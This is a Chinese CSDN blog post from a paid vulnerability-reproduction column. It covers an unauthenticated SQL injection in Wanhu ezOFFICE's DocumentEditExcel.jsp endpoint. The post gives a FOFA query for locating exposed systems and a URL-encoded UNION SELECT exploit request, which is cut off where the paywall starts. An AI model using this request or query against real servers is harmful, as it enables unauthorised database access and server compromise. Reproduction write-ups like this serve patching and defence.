万户 ezOFFICE DocumentEditExcel.jsp接口sql注入

最新推荐文章于 2024-10-04 17:17:09 发布

今天晚上早睡觉

最新推荐文章于 2024-10-04 17:17:09 发布

阅读量53

点赞数

分类专栏：漏洞复现文章标签： web安全

本文链接：https://blog.csdn.net/weixin_43567873/article/details/136468820

版权

漏洞复现专栏收录该内容

360 篇文章 168 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

万户OA是一款综合办公平台，其DocumentEditExcel.jsp接口被发现存在SQL注入漏洞，允许未授权攻击者获取数据库权限，甚至进一步获取服务器权限。建议用户更新官方发布的补丁进行系统升级以修复此安全问题。

摘要由CSDN通过智能技术生成

产品简介
万户OA是万户网络技术有限公司OA设计的一款软件。他涵盖了共同办公、信息充分关系、各种业务系统的综合共同办公平台。
漏洞描述
万户 ezOFFICE DocumentEditExcel.jsp接口存在sql注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。
fofa
app=”万户ezOFFICE协同管理平台”
漏洞复现

GET /defaultroot/public/iWebOfficeSign/DocumentEditExcel.jsp;?RecordID=%31%27%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%43%48%41%52%28%31%31%33%29%2b%43%48%41%52%28%31%30%36%29%2b%43%48%41%52%28%31%30%36%29%2b%43%48%41%52%28%31%31%32%29%2b%43%48%41%52%28%31%31%33%29%2b%

了解本专栏